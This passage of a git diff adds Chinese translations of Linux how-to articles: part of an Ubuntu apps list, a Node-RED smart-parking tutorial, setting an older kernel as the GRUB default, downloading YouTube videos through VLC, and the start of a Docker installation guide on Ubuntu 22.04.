支持并可用于压感平板电脑和设备。其独特的无干扰设计可以让你专注于绘图而不是应用程序。此外,它还带来了真实铅笔和画笔的仿真,提供了各种画笔、颜色和图层。 + +![MyPaint 2.0.1][32] + +浏览 MyPaint 的 [官方页面][33] 获取更多信息,可以使用以下方式下载。 + +推荐使用 Flatpak 安装 。你可以为 Flatpak 设置 [系统][34] 然后 [通过该页面安装][35] 。 + +[该页面][36] 提供了其他下载选项。 + +#### 9、LibreOffice + +如果有任何专业的办公套件可以和市场领导者微软 Office 相媲美,那一定是文档基金会的 LibreOffice 了 。它是所有 Linux 发行版的默认办公套件。它带有电子表格程序(Calc)、文字处理器(Writer)、演示文稿(Impress)和用来绘图的 Draw。此外,它还带来了一个数据库系统 (Base)和用来撰写数学公式的 Math。 + +除此之外, LibreOffice 提供两个版本。其一是社区版,用于社区和一般用途,并带有最新的功能和更新。第二是商务版,也称企业版,更稳定,更适合专业工作。 + +LibreOffice 办公套件已默认安装在 Ubuntu 上。 + +![LibreOffice 7.3.x Community Edition in Ubuntu 22.04 LTS Jammy Jellyfish][37] + +[LibreOffice 的官方文档][38] 很庞大,你可以通过各种方式浏览它们,包括在它 [友好的论坛][39] 。你可以 [从此处][40] 下载 LibreOffice。 + +如果你也想升级 LibreOffice ,你可以访问 [这里][41] 。 + +#### 10、Cawbird + +如果你是重度 Twitter 用户,你或许应考虑一款桌面应用。 Cawbird 是一款 Linux 发行版上的 Twitter 桌面程序。它是 Corebird 应用(已停止维护)的复刻,Cawbird 带来了内嵌图片、视频预览、列表支持等。此外,它可以在 Twitter 上进行全文搜索,并支持多个 Twitter 帐户。 + +但是,由于 Twitter API 的限制,它只能每两分钟刷新一次,此外,还有一些其他限制,例如没有关注和取消关注的通知、阻止、静音和其他功能。Twitter 强加了这些限制。 + +![Cawbird][42] + +最后,你可以通过 [该链接][43] 在任何 Linux 发行版上下载 Cawbird 。 + +### 结语 + +这是 2022 年 5 篇系列的必备 Ubuntu 应用程序的第 2 篇。通过以上信息,我希望你可以选择一些应用供你的日常使用。在下面的评论框中告诉我你更喜欢此列表中的哪些应用程序。 + +最后,请继续关注本 Ubuntu 应用程序系列的第 3 部分。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/best-ubuntu-apps-2022-part2/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/essential-ubuntu-apps-2022-part-1/ +[2]: https://www.debugpoint.com/necessary-ubuntu-apps-2022/ +[3]: https://www.debugpoint.com/2022/02/live-streaming-applications-linux-2022/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/06/OBS-Studio.jpg +[5]: https://obsproject.com/ +[6]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ +[7]: https://flathub.org/apps/details/com.obsproject.Studio +[8]: https://obsproject.com/wiki/unofficial-linux-builds +[9]: https://inkscape.org/gallery/ +[10]: https://www.debugpoint.com/wp-content/uploads/2022/06/Sample-Image-credit-Inkscape.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2018/09/Inkscape-Running.png +[12]: https://inkscape.org/ +[13]: https://inkscape.org/release/ +[14]: https://www.debugpoint.com/2018/09/3-best-free-photoshop-alternatives-ubuntu-linux/ +[15]: https://www.debugpoint.com/wp-content/uploads/2018/09/GIMP-Running.png +[16]: https://www.gimp.org/ +[17]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ +[18]: https://flathub.org/repo/appstream/org.gimp.GIMP.flatpakref +[19]: https://www.gimp.org/downloads/ +[20]: https://www.debugpoint.com/wp-content/uploads/2022/06/Spotify-Client-in-Ubuntu.jpg +[21]: https://flathub.org/apps/details/com.spotify.Client +[22]: https://www.debugpoint.com/wp-content/uploads/2022/06/SimpleScreenRecorder.jpg +[23]: https://www.maartenbaert.be/simplescreenrecorder/ +[24]: https://www.maartenbaert.be/simplescreenrecorder/#download +[25]: https://www.debugpoint.com/wp-content/uploads/2019/11/Calibre.png +[26]: https://calibre-ebook.com/ +[27]: https://calibre-ebook.com/download_linux +[28]: https://calibre-ebook.com/download +[29]: https://www.debugpoint.com/wp-content/uploads/2022/06/Scribus.jpg +[30]: https://www.scribus.net/ +[31]: https://www.scribus.net/downloads/stable-branch/ +[32]: https://www.debugpoint.com/wp-content/uploads/2020/05/MyPaint-2.0.1.png +[33]: http://mypaint.org/ +[34]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ +[35]: https://flathub.org/repo/appstream/org.mypaint.MyPaint.flatpakref +[36]: http://mypaint.org/downloads/ +[37]: https://www.debugpoint.com/wp-content/uploads/2019/09/LibreOffice-7.3.x-Community-Edition-in-Ubuntu-22.04-LTS-Jammy-Jellyfish.jpg +[38]: https://help.libreoffice.org/latest/index.html +[39]: https://ask.libreoffice.org/ +[40]: https://www.libreoffice.org/download/download/ +[41]: https://www.debugpoint.com/2022/06/libreoffice-upgrade-update-latest/ +[42]: https://www.debugpoint.com/wp-content/uploads/2022/06/Cawbird.jpg +[43]: https://software.opensuse.org//download.html?project=home%3AIBBoard%3Acawbird&package=cawbird +[44]: https://www.debugpoint.com/essential-ubuntu-apps-2022-part-1/ +[45]: https://www.debugpoint.com/necessary-ubuntu-apps-2022/ diff --git a/published/202207/20220614 Build a Smart Parking System for a Metro Station.md b/published/202207/20220614 Build a Smart Parking System for a Metro Station.md new file mode 100644 index 0000000000..f218f0956a --- /dev/null +++ b/published/202207/20220614 Build a Smart Parking System for a Metro Station.md @@ -0,0 +1,158 @@ +[#]: subject: "Build a Smart Parking System for a Metro Station" +[#]: via: "https://www.opensourceforu.com/2022/06/build-a-smart-parking-system-for-a-metro-station/" +[#]: author: "Dr Maheswari R. https://www.opensourceforu.com/author/dr-maheswari-r/" +[#]: collector: "lkxed" +[#]: translator: "Maisie-x" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14881-1.html" + +为地铁站构建一个智能停车系统 +====== + +> 本文将帮助你设计一个基于 Web 的应用程序,使用 Node-RED 为地铁站的汽车提供一个自动智能停车系统。 + +![Smart car parking][1] + +Web 应用程序是在 Web 服务器上运行的软件。终端用户通过 Web 浏览器访问 Web 应用程序。Web 应用程序使用客户端—服务器(C/S)架构进行编程,该架构是用户(客户端)通过远程服务器(可能由第三方托管)提供服务。Web API(应用程序编程接口)在整个 Web 上是可用的,用户可以通过 HTTP 协议访问该接口,如图 1 所示。 + +![Figure 1: Web API][4] + +本文将演示如何为地铁设计一个基于 Web 的汽车自动智能停车系统。 它是使用开源的 Node-RED 设计。该系统使用模板节点创建了一个交互式的、时尚的用户登录表单,用 HTML 和 CSS 编码以获取车主的详细信息,从而实现停车系统的自动化。我们可以在图 2 和图 3 看到登录表单和提交表单的流程图。 + +使用的节点如下: + +![table function][3] + +### 地铁智能停车节点流程设计 + +Node-RED 由 `node-red` 命令激活。访问网址 `http://127.0.0.1:1880/` 可以看到 Node-RED 用户界面流程浏览器已经启用,可以认为 Node-RED 设置已完成,可以正常工作了。 + +按照下面给出的步骤创建登录表单和提交表单。 + +![Figure 2: Login form flow diagram][5] + +![Figure 3: Submission form flow diagram][6] + +### 登录表单 + +1、在节点画布中,拖放 http 输入http in 节点,这会为创建 Web 服务创建一个 HTTP 访问点。 + +2、将 http 输入http in 节点连接到 函数function 节点。函数节点有助于编写 JavaScript 函数处理节点接收到的消息。 + +![Figure 4: Login form for smart parking for cars][7] + +3、将 函数function 节点连接到 模板template 节点,模板节点基于提供的模板创建一个 Web API。 + +4、将 模板template 节点连接到 http 响应http response 节点,它将响应 http 输入http in 节点的请求。 + +![Figure 5: Submission form for smart parking for cars][8] + +### 提交表单 + +1、拖放 http 输入http in 节点并将其连接到 json 节点,json 节点将数据转换为 JSON 字符串进行通信。 + +2、将 http 输入http in 节点连接到 调试debug 节点,调试节点的调试监控器会输出结果。 + +3、将 json 节点放置并连接到 函数function 节点,将后者连接到 http 响应http response 节点。 + +创建完整流程后,单击 Node-RED 窗口右上角的 部署Deploy 按钮。访问 `http://127.0.0.1:1880/ui/` 这个链接查看用户界面。 + +输入链接然后单击 提交Submit 后,该链接会跳转到下一页,你可以在该页面阅读所有新闻。 + +### Node-RED 工作流程 + +在单个 Node-RED 流程中,你可以创建登录表单和提交表单,如图 4 和图 5 所示。 + +现在我们将配置节点属性。 + +#### 登录表单 + +编辑 http 输入http in 属性: + +- 方法method 选择 “Get” +- 网址URL 设为 `/MetroStation` +- 名称name 配置为 “智能停车系统Smart Parking”。 + +(LCTT 译注:下文 http 响应节点的名称为 Smart parking,p 字母小写,为了区分,此处中文翻译成智能停车系统。) + +![Figure 6: Http in node property configurations][9] + +> 注意:URL 可以使用任何用户定义的本地变量。 + +现在选择 函数function 节点,编辑函数节点属性:输入代码 `msg.url = project` ,并配置代码 名称name 字段为 “项目提交Project Submission”。 + +![Figure 7: Function node property configurations][10] + +在 模板template 节点的属性窗口,为登录表单配置相应的 HTML 代码,并将代码 名称name 命名为 “显示面板Display panel”。在此流程使用了 Mustache 模板格式(LCTT 译注:Mustache 是胡子的意思,因为它的嵌入标记 `{{ }}` 非常像胡子)。Mustache 是一个简单的 Web 模板系统,被描述为无逻辑的模板引擎。Mustache 没有任何显式的控制流语句,例如 `if` 和 `else` 条件和 `for` 循环。可以通过使用块标签处理列表和lambdas 来实现循环和条件评估。 + +![Figure 8: Template node property configurations][11] + +配置编辑 http 响应http response 节点的属性,名称name 设为 “智能停车Smart parking”(图 9) 。 + +![Figure 9: Http response node property configurations][12] + +#### 提交表单 + +在 http 输入http in 节点的编辑属性窗口,方法method 选择 “POST” ,网址URL 设为 `/project`。 + +![Figure 10: Http in node property configurations][13] + +在 JSON 节点的编辑窗口,操作Action设为 “JSON字符串与对象互转Convert between JSON String & Object”,参考图 11。 + +![Figure 11: JSON node property configurations][14] + +函数function 节点的配置如图 12 所示。 + +![Figure 12: Function node property configurations][15] + +在 http 响应http response 节点,编辑属性 名称name 为 “已提交项目Project Submitted”。 + +![Figure 13: Http response node property configurations][16] + +> 注意:添加带有评论的评论节点作为 “登录表单” 和 “提交表单”。 + +![Figure 14: Debug node property configurations][17] + +### 用户界面的控制面板 + +当用户单击 提交Submit,给出的数据将显示在用户界面和调试节点。如果单击 重置Reset,详细信息将被清除,允许用户输入新的详细信息(图15)。 + +![Figure 15: User login UI][18] + +地铁停车费率通过超链接提供,收费表在用户界面显示。因此,汽车智能停车系统通过适当的超链接实现自动化,展示地铁站的停车费。该自动化系统的最终输出可以在 Node-RED 控制面板的用户界面和调试监控器调取和展示。 + +![Figure 16: Metro parking tariff][19] + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/build-a-smart-parking-system-for-a-metro-station/ + +作者:[Dr Maheswari R.][a] +选题:[lkxed][b] +译者:[Maisie-x](https://github.com/Maisie-x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/dr-maheswari-r/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Smart-car-parking.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/table-function-node-red.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/04/table-function-node-red.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Web-Application-Programming-Interface300.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-2-Login-Form-Flow-Diagram300.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-3-Submission-Form-Flow-Diagram300.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-4-Login-Form-of-Metro-Smart-Car-Parking300.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-5-Submission-Form-of-Metro-Smart-Car-Parking300.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-6-Http-in-Node-Property-Configurations300.jpg +[10]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-7-Function-Node-Property-Configurations300.jpg +[11]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-8-Template-Node-Property-Configurations300.jpg +[12]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-9-Template-Node-Property-Configurations300.jpg +[13]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-10-Http-in-Node-Property-Configurations300.jpg +[14]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-11-Json-Node-Property-Configurations300.jpg +[15]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-12-Function-Node-Property-Configurations300.jpg +[16]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-13-Http-Response-Node-Property-Configurations300.jpg +[17]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-14-Debug-Node-Property-Configurations300.jpg +[18]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-15-User-Login-UI300.jpg +[19]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-16-Parking-Tariff-Metro300.jpg diff --git a/published/202207/20220623 How to Boot into an Older Kernel By Default in Ubuntu and Other Linux.md b/published/202207/20220623 How to Boot into an Older Kernel By Default in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..6e74655d55 --- /dev/null +++ b/published/202207/20220623 How to Boot into an Older Kernel By Default in Ubuntu and Other Linux.md @@ -0,0 +1,132 @@ +[#]: subject: "How to Boot into an Older Kernel By Default in Ubuntu and Other Linux" +[#]: via: "https://itsfoss.com/boot-older-kernel-default/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "hanszhao80" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14843-1.html" + +如何默认启动到 Linux 系统的旧内核 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/19/142100e4ympeo7y5w6pwvo.jpg) + +这是一个可能的情景。你的系统收到了内核更新,但不知何故,事情不像以前那样顺利。 + +你意识到,如果你启动到较旧的内核(是的,你可以降级内核),一切都会恢复正常。 + +高兴之余你会觉得有点儿不爽。因为你不得不在每次启动时手动选择较旧的内核。 + +一位年长的读者遇到了这个问题。[Linux Mint][1] 中的新内核更新没有按预期工作。启动到较旧的内核“修复”了问题,但麻烦的是在每次启动时要去手动选择较旧的内核。 + +删除新内核而使用旧内核不是一个好主意,因为新内核将会在下一次系统更新时被安装使用。 + +因此,我建议设置成默认启动到较旧的 Linux 内核。怎么做?这就是我将在本教程中向你展示的内容。 + +### 启动至较旧的 Linux 内核 + +你可能不了解,你的 Linux 发行版会在你的系统上安装多个 Linux 内核。不信?使用以下命令 [列出 Ubuntu 中已安装的内核][2]: + +``` +apt list --installed | grep linux-image +``` + +当你升级系统时会获得一个新版本的内核,这时你的系统会自动选择启动至最新的可用内核。 + +在 [grub][3] 屏幕中,你可以转到高级选项Advanced option(较旧的 Linux 版本): + +![ubuntu grub][4] + +在这里,你可以看到要启动的可用内核。选择较旧的(不带恢复选项recovery option 的条目): + +![grub 高级选项][5] + +你不会注意到任何显示的差异。你的文件和应用程序保持不变。 + +现在你已经启动到旧内核,是时候让你的系统自动启动到它了。 + +### 使旧内核成为默认启动项 + +如果你乐于使用 Linux 终端和命令,你可以修改 `/etc/default/grub` 文件并在其中添加以下行: + +``` +GRUB_DEFAULT=saved +GRUB_SAVEDEFAULT=true +``` + +然后使用如下命令 [更新 GRUB][6]: + +``` +sudo update-grub +``` + +你在这里所做的是告诉你的系统将当前使用的启动项保存为将来运行 GRUB 的默认启动项。 + +然而,并不是每个人都善于使用命令行,因此我将专注于一个名为 [Grub Customizer][7] 的 GUI 工具。 + +#### 安装 Grub Customizer + +使用官方 PPA [在基于 Ubuntu 的发行版中安装 Grub Customizer][8]: + +``` +sudo add-apt-repository ppa:danielrichter2007/grub-customizer +sudo apt update +sudo apt install grub-customizer +``` + +对于其他发行版,请使用你的包管理器来安装此工具。 + +#### 使用 Grub Customizer 更改默认启动项 + +当你运行 Grub Customizer 时,它会显示可用的启动项。 + +![ubuntu 的 grub customizer][9] + +在这里你有两个选择。 + +**选择一:** 选择所需的内核项并使用箭头按钮(显示在顶部菜单上)将其向上移动。 + +![在 Ubuntu grub 将旧内核向上移动][10] + +**选择二:** 将先前的启动项previously booted entry设为默认启动项default entry。 + +![将当前启动项设为默认 Ubuntu 启动项][11] + +我建议使用第二个选择,因为即使有新的内核更新它也可以工作。 + +这样你就可以在 Ubuntu 或其他发行版中降级内核,甚至无需删除新内核版本。 + +请注意,像 Ubuntu 这样的发行版大部分一次只保留两个内核版本。因此,最终你首选的旧内核将在新的内核版本释出时被删除。 + +这个巧妙的技巧曾助我脱困。当时我 [在 Ubuntu 中安装最新的 Linux 内核][12] ,由于某种原因它与我的音频系统有些兼容问题。 + +无论是什么原因,你现在都知道如何自动启动到旧内核。 + +如果有问题或建议,请在评论区留言。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/boot-older-kernel-default/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://linuxmint.com/ +[2]: https://learnubuntu.com/list-installed-kernels/ +[3]: https://itsfoss.com/what-is-grub/ +[4]: https://itsfoss.com/wp-content/uploads/2022/06/ubuntu-grub.jpg +[5]: https://itsfoss.com/wp-content/uploads/2022/06/Grub-Advanced-Options.jpg +[6]: https://itsfoss.com/update-grub/ +[7]: https://itsfoss.com/customize-grub-linux/ +[8]: https://itsfoss.com/install-grub-customizer-ubuntu/ +[9]: https://itsfoss.com/wp-content/uploads/2022/06/grub-customizer-ubuntu.png +[10]: https://itsfoss.com/wp-content/uploads/2022/06/move-older-kernel-up-the-order-ubntu-grub.png +[11]: https://itsfoss.com/wp-content/uploads/2022/06/make-currently-booted-entry-as-default-ubuntu.png +[12]: https://itsfoss.com/upgrade-linux-kernel-ubuntu/ diff --git a/published/202207/20220625 Download YouTube Videos with VLC -Because, Why Not--.md b/published/202207/20220625 Download YouTube Videos with VLC -Because, Why Not--.md new file mode 100644 index 0000000000..d657e3a5f0 --- /dev/null +++ b/published/202207/20220625 Download YouTube Videos with VLC -Because, Why Not--.md @@ -0,0 +1,98 @@ +[#]: subject: "Download YouTube Videos with VLC (Because, Why Not?)" +[#]: via: "https://itsfoss.com/download-youtube-videos-vlc/" +[#]: author: "Community https://itsfoss.com/author/itsfoss/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14788-1.html" + +使用 VLC 下载 YouTube 视频 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/03/100812twzmm942m4o7lmzq.jpg) + +[VLC][1] 是 [Linux 和其他平台上最受欢迎的视频播放器][2]之一。 + +它不仅仅是一个视频播放器。它提供了许多多媒体和网络相关的功能。你会惊讶地 [了解 VLC 的能力][3]。 + +我将演示一个简单的 VLC 功能,即使用它下载 YouTube 视频。 + +是的。你可以在 VLC 中播放 YouTube 视频并下载它们。让我告诉你怎么做。(LCTT 校注:发布此文只探讨技术可行性。) + +### 使用 VLC 媒体播放器下载 YouTube 视频 + +现在,有一些方法可以 [下载 YouTube 视频][4]。使用浏览器扩展或使用专门的网站或工具。 + +但是如果你不想使用任何额外的东西,已经安装的 VLC 播放器可以用于此目的。 + +**重要提示:**在从 YouTube 复制链接之前,请确保从 YouTube 播放器中选择所需的视频质量,因为我们将获得与复制链接时流式传输视频相同的质量。 + +#### 步骤 1:获取所需视频的视频链接 + +你可以使用任何你喜欢的浏览器并从地址栏中复制视频链接。 + +![copy youtube link][5] + +#### 步骤 2:将复制的链接粘贴到网络流 + +“网络流Network Stream”选项位于“媒体Media”菜单下,这是我们顶部菜单栏的第一个选项。你也可以使用快捷方式 `CTRL + N` 打开网络流 。 + +![click on media and select network stream][6] + +现在,你只需粘贴复制的 YouTube 视频链接,然后单击播放按钮。我知道它只是在我们的 VLC 中播放视频,但还有一点额外的步骤可以让我们下载当前的流媒体视频。 + +![paste video link][7] + +#### 步骤 3:从编解码器信息中获取位置链接 + +在“编解码器信息Codec Information”下,我们会得到当前播放视频的位置链接。要打开编解码器信息,你可以使用快捷键 `CTRL + J` 或者你会在“工具Tools”菜单下找到编解码器信息选项。 + +![click on tools and then codec information][8] + +它将带来有关当前流媒体视频的详细信息。但我们需要的是“位置Location”。你只需复制位置链接,我们的任务就完成了 90%。 + +![copy location link][9] + +#### 步骤 4:将位置链接粘贴到新选项卡 + +打开任何你喜欢的浏览器,并将复制的位置链接粘贴到新选项卡,它将开始在浏览器中播放该视频。 + +现在,右键单击播放视频,你将看到“将视频另存为”的选项。 + +![click on save][10] + +它将打开文件管理器并询问你是否要在本地保存此视频。你还可以重命名该文件,默认情况下它将被命名为 “videoplayback.mp4”。 + +![showing file in folder][11] + +### 结论 + +如果你有互联网连接问题,或者如果你想保存一些视频以供将来观看,下载 YouTube 视频是有意义的。 + +当然,我们不鼓励盗版。此方法仅用于合理使用,请确保视频的创建者已允许该视频进行合理使用,并确保在将其用于其他地方之前将其归属于视频的原始所有者。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/download-youtube-videos-vlc/ + +作者:[Community][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/itsfoss/ +[b]: https://github.com/lkxed +[1]: https://www.videolan.org/vlc/ +[2]: https://itsfoss.com/video-players-linux/ +[3]: https://itsfoss.com/vlc-pro-tricks-linux/ +[4]: https://itsfoss.com/download-youtube-videos-ubuntu/ +[5]: https://itsfoss.com/wp-content/uploads/2022/06/copy-Youtube-link-800x190.jpg +[6]: https://itsfoss.com/wp-content/uploads/2022/06/click-on-media-and-select-network-stream.png +[7]: https://itsfoss.com/wp-content/uploads/2022/06/paste-video-link.png +[8]: https://itsfoss.com/wp-content/uploads/2022/06/click-on-tools-and-then-codec-information-800x249.png +[9]: https://itsfoss.com/wp-content/uploads/2022/06/copy-location-link.png +[10]: https://itsfoss.com/wp-content/uploads/2022/06/click-on-save-800x424.jpg +[11]: https://itsfoss.com/wp-content/uploads/2022/06/showing-file-in-folder-800x263.png diff --git a/published/202207/20220627 How to Install Docker And Docker Compose In Ubuntu 22.04 LTS.md b/published/202207/20220627 How to Install Docker And Docker Compose In Ubuntu 22.04 LTS.md new file mode 100644 index 0000000000..0c483c7203 --- /dev/null +++ b/published/202207/20220627 How to Install Docker And Docker Compose In Ubuntu 22.04 LTS.md @@ -0,0 +1,388 @@ +[#]: subject: "How to Install Docker And Docker Compose In Ubuntu 22.04 LTS" +[#]: via: "https://ostechnix.com/install-docker-ubuntu/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14871-1.html" + +如何在 Ubuntu 22.04 LTS 中安装 Docker 和 Docker Compose +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/28/142549iwrj25mw9turhc9o.jpg) + +> 在 Ubuntu 中使用 Docker Compose 安装 Docker 引擎的分步指导。 + +在这篇文章中,我们将会明白 Docker 是什么,如何 **在 Ubuntu 中安装 Docker 引擎** 。此外,我们也将会明白如何 **安装 Docker Compose** ,它是一个定义并运行多容器的 Docker 应用。 + +我们已经在 Ubuntu 22.04 LTS 中正式的测试了这份指南。然而,它也应该对旧版本如 20.04 LTS 和 18.04 LTS 有效。为了更好的安全性和稳定性,我推荐你使用最新的版本 —— Ubuntu 22.04 LTS 。 + +### 什么是 Docker ? + +**Docker** 是一个快捷、轻便的系统级虚拟化技术,开发者和系统管理员可以使用它构建具备所有必要依赖项的应用程序,并将其作为一个包发布。 + +Docker 与其他如 VMWare 、Xen 、以及 VirtualBox 等工具的虚拟化方式不同,每个虚拟机不需要单独的客户操作系统。 + +所有的 Docker 容器有效地共享同一个主机系统内核。每个容器都在同一个操作系统中的隔离用户空间中运行。 + +Docker 容器可以在任何 Linux 版本上运行。比如说你使用 Fedora ,我用 Ubuntu 。我们能相互开发、共享并分发 Docker 镜像。 + +你无需担心操作系统、软件以及自定义设置,任何事都不用担心。只要我们的主机安装了 Docker ,就能持续开发。简言之,Docker 能够在任何地方运行! + +前文中你读到了两个词:**Docker 镜像** 和 **Docker 容器** ,或许你在想它们的区别。 + +通俗地说,Docker 镜像是一个描述容器应该如何表现的文件,而 Docker 容器是 Docker 镜像的运行(或停止)状态。 + +希望你能够理解 Docker 的基础概念。更多细节,你可以参考文章末尾的 Docker 官方指导手册。 + +### Docker 依赖项 + +为了安装并配置 Docker ,你的系统必须满足下列最低要求: + +1. 64 位 Linux 或 Windows 系统 +2. 如果使用 Linux ,内核版本必须不低于 3.10 +3. 能够使用 `sudo` 权限的用户 +4. 在你系统 BIOS 上启用了 VT(虚拟化技术)支持 on your system BIOS(参考: [如何查看 CPU 支持 虚拟化技术(VT)][1]) +5. 你的系统应该联网 + +在 Linux ,在终端上运行以下命令验证内核以及架构详细信息: + +``` +$ uname -a +``` + +输出样例: + +``` +Linux Ubuntu22CT 5.15.35-3-pve #1 SMP PVE 5.15.35-6 (Fri, 17 Jun 2022 13:42:35 +0200) x86_64 x86_64 x86_64 GNU/Linux +``` + +正如上面你看到的那样,我的 Ubuntu 系统内核版本是 **5.15.35-3-pve** 并且系统架构是 **64 位**(**x86_64 x86_64 x86_64 GNU/Linux**)。 + +> **注意:** 这里,我在 [Proxmox][2] 中使用 Ubuntu 22.04 容器。这是你看到上方内核版本中有 “pve” 字符的原因。如果你正在使用 Ubuntu 实体(或者虚拟)机,你将看到系统版本为 **5.15.35-3-generic** 。 + +内核版本需要不低于最低要求的版本,并且是 64 位机器。这样不会有任何问题,我们能顺利安装并使用 Docker 。 + +请注意你使用哪一个 Ubuntu 系统不重要。并且你使用 Ubuntu 桌面或服务器版本,亦或者其他 Ubuntu 变种如 Lubuntu 、Kubuntu 、Xubuntu ,都不重要。 + +只要你的系统内核版本不低于 3.10 ,并且是 64 位系统,Docker 都会正常运行。 + +### 在 Ubuntu 22.04 LTS 中安装 Docker + +首先,更新你的 Ubuntu 系统。 + +#### 1、更新 Ubuntu + +打开终端,依次运行下列命令: + +``` +$ sudo apt update +$ sudo apt upgrade +$ sudo apt full-upgrade +``` + +#### 2、添加 Docker 库 + +首先,安装必要的证书并允许 apt 包管理器使用以下命令通过 HTTPS 使用存储库: + +``` +$ sudo apt install apt-transport-https ca-certificates curl software-properties-common gnupg lsb-release +``` + +然后,运行下列命令添加 Docker 的官方 GPG 密钥: + +``` +$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg +``` + +添加 Docker 官方库: + +``` +$ echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null +``` + +使用命令更新 Ubuntu 源列表: + +``` +$ sudo apt update +``` + +#### 3、安装 Docker + +最后,运行下列命令在 Ubuntu 22.04 LTS 服务器中安装最新 Docker CE: + +``` +$ sudo apt install docker-ce docker-ce-cli containerd.io docker-compose-plugin +``` + +![Install Docker In Ubuntu][3] + +当然你也可以安装其他版本 Docker 。运行下列命令检查可以安装的 Docker 版本: + +``` +$ apt-cache madison docker-ce +``` + +输出样例: + +``` +docker-ce | 5:20.10.17~3-0~ubuntu-jammy | https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages +docker-ce | 5:20.10.16~3-0~ubuntu-jammy | https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages +docker-ce | 5:20.10.15~3-0~ubuntu-jammy | https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages +docker-ce | 5:20.10.14~3-0~ubuntu-jammy | https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages +docker-ce | 5:20.10.13~3-0~ubuntu-jammy | https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages +``` + +你可以挑选上面列表中的任何版本进行安装。例如,安装 **5:20.10.16~ 3-0 ~ubuntu-jammy** 这个版本,运行: + +``` +$ sudo apt install docker-ce=5:20.10.16~3-0~ubuntu-jammy docker-ce-cli=5:20.10.16~3-0~ubuntu-jammy containerd.io +``` + +安装完成后,运行如下命令验证 Docker 服务是否在运行: + +``` +$ systemctl status docker +``` + +你会看到类似下面的输出: + +``` +* docker.service - Docker Application Container Engine + Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled) + Active: active (running) since Mon 2022-06-27 13:07:43 UTC; 3min 4s ago +TriggeredBy: * docker.socket + Docs: https://docs.docker.com + Main PID: 2208 (dockerd) + Tasks: 8 + Memory: 29.6M + CPU: 126ms + CGroup: /system.slice/docker.service + `-2208 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock + +Jun 